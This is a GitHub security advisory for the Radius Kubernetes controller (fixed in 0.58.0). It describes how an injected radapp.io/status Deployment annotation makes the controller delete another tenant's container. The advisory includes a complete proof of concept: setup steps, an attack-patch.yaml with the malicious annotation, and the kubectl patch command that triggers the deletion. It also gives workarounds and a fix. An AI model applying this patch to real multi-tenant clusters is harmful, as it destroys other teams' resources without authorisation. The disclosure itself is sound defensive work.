GHSA-fp5j-4fj2-4jvq
Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/radius-project/radius | < 0.58.0 | 0.58.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
# Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)
## Summary
A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a `DELETE` for the container resource referenced by a tampered `radapp.io/status` annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.
- **Vulnerability Type**: Configuration Injection / Cross-Tenant Resource Deletion
- **CVSS 3.1 Score**: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)
- **CWE Classification**: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)
- **Affected Versions**: Radius v0.57.1 and earlier versions
## Vulnerability Details
### Root Cause
The Radius controller deserializes user-controllable JSON data from the `radapp.io/status` annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.
### Vulnerable Code Locations
**Vulnerability Source** - `pkg/controller/reconciler/annotations.go:110-119`:
```go
s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
err := json.Unmarshal([]byte(status), &s) // Deserializes user-controllable data without validation
if err != nil {
return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
}
result.Status = &s
}
```
**Vulnerability Sink** - `pkg/controller/reconciler/deployment_reconciler.go:491`:
```go
poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container) // Directly uses user-controllable data for deletion
```
### Attack Chain
```text
┌─────────────────────────────────────────────────────────────────────────────┐
│ Confused Deputy Attack │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Tenant-A (Attacker) Tenant-B (Victim) │
│ ┌──────────────────┐ ┌──────────────────┐ │
│ │ legitimate-app │ │ victim-container │ │
│ │ (Deployment) │ │ (Radius Resource)│ │
│ └────────┬─────────┘ └────────▲─────────┘ │
│ │ │ │
│ │ 1. Inject malicious │ 4. DELETE request │
│ │ radapp.io/status │ (no auth check!) │
│ │ annotation │ │
│ ▼ │ │
│ ┌──────────────────┐ ┌───────┴──────────┐ │
│ │ Radius Controller│ ─────────────────▶│ Radius API │ │
│ │ (High Privilege) │ 3. Uses injected │ (UCP) │ │
│ └──────────────────┘ container ID └──────────────────┘ │
│ ▲ │
│ │ 2. Reads annotation │
│ │ without validation │
│ │ │
└───────────┴─────────────────────────────────────────────────────────────────┘
```
## Proof of Concept (PoC)
### Prerequisites
- Kubernetes cluster with Radius v0.54.0 installed
- Attacker has permission to modify Deployment annotations in a namespace
- Target tenant has Radius-managed container resources
### Environment Setup
#### Step 1: Install Kind Cluster and Radius
```bash
# Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3
# Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans
# Verify installation
kubectl get pods -n radius-system
```
Expected output:
```text
NAME READY STATUS RESTARTS AGE
applications-rp-xxx 1/1 Running 0 2m
bicep-de-xxx 1/1 Running 0 2m
controller-xxx 1/1 Running 0 2m
ucp-xxx 1/1 Running 0 2m
```
#### Step 2: Create Attacker Tenant (tenant-a)
```bash
# Create resource group
rad group create tenant-a
# Create environment
rad env create tenant-a-env --group tenant-a
# Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-env
```
#### Step 3: Deploy Legitimate Application in tenant-a
Create `legitimate-app.bicep`:
```bicep
extension radius
@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
name: 'legitimate-app'
properties: {
environment: environment()
}
}
@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
name: 'legitimate-container'
properties: {
application: app.id
container: {
image: 'nginx:latest'
}
}
}
```
Deploy the application:
```bash
rad deploy legitimate-app.bicep
```
#### Step 4: Create Victim Tenant (tenant-b)
```bash
# Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b
# Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3
# Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
}
}'
# Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
"container": {
"image": "nginx:latest"
}
}
}'
kill $PF_PID 2>/dev/null || true
```
#### Step 5: Verify Victim Resource Exists
```bash
kubectl get deployment -n tenant-b-victim-app victim-container
```
Expected output:
```text
NAME READY UP-TO-DATE AVAILABLE AGE
victim-container 1/1 1 1 50s
```
### Exploitation
#### Step 6: Inject Malicious Annotation
Create `attack-patch.yaml`:
```yaml
metadata:
annotations:
radapp.io/enabled: "false"
radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'
```
Execute the attack:
```bash
kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml
```
Expected output:
```text
deployment.apps/legitimate-app patched
```
#### Step 7: Verify Attack Success
Wait a few seconds and check the victim's resources:
```bash
kubectl get all -n tenant-b-victim-app
```
Expected output:
```text
No resources found in tenant-b-victim-app namespace.
```
### Log Evidence
The controller logs show the cross-tenant deletion operation:
**Attack Triggered** (15:29:41.351Z):
```json
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Starting DELETE operation.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
```
**Cross-Tenant Delete Request** (15:29:41.351Z):
```json
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Deleting container.",
"scope": "/planes/radius/local/resourceGroups/tenant-b",
"resourceType": "Applications.Core/containers"
}
```
**Deletion Successful** (15:29:41.367Z):
```json
{
"timestamp": "2026-02-01T15:29:41.367Z",
"message": "Resource is deleted.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
```
## Impact
### Security Impact
- **Confidentiality**: No direct impact (no data disclosure)
- **Integrity**: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
- **Availability**: High - Can cause service disruption for target tenants
### Attack Prerequisites
1. Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
2. Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)
### CVSS 3.1 Vector
```text
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
```
| Metric | Value | Description |
|---------------------|---------|--------------------------------------------------------------------|
| Attack Vector | Network | Via Kubernetes API |
| Attack Complexity | Low | Only requires annotation modification |
| Privileges Required | Low | Requires Deployment edit permission |
| User Interaction | None | No user interaction required |
| Scope | Changed | Affects other tenants |
| Confidentiality | None | No data disclosure |
| Integrity | None | No victim data modified; deletes a recoverable management resource |
| Availability | High | Causes service disruption |
## Workarounds
Until an official fix is released, consider the following mitigations:
1. **Restrict Annotation Modification Permissions**: Use Kubernetes RBAC to limit who can modify Deployment annotations
2. **Monitor Anomalous Operations**: Monitor modifications to `radapp.io/status` annotations, especially those containing other tenants' resource IDs
3. **Network Isolation**: Implement strict network policies in multi-tenant environments
## Remediation Recommendations
### Short-term Fix
Add validation logic in `annotations.go` to ensure the container ID in `radapp.io/status` belongs to the current namespace/tenant:
```go
func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
expectedScope := extractScopeFromDeployment(deployment)
actualScope := extractScopeFromContainerID(containerID)
if expectedScope != actualScope {
return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
}
return nil
}
```
### Long-term Fix
1. **Implement Least Privilege Principle**: The controller should use credentials associated with the Deployment's tenant
2. **Add Radius API Authorization Validation**: UCP should validate the source tenant of delete requests
3. **Audit Logging**: Log all cross-tenant operation attempts
## References
- [Radius Project GitHub](https://github.com/radius-project/radius)
- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)
- [CWE-441: Unintended Proxy or Intermediary (Confused Deputy)](https://cwe.mitre.org/data/definitions/441.html)
- [OWASP: Confused Deputy Problem](https://owasp.org/www-community/attacks/Confused_Deputy)
References
External links from the advisory. They lead to third-party sites.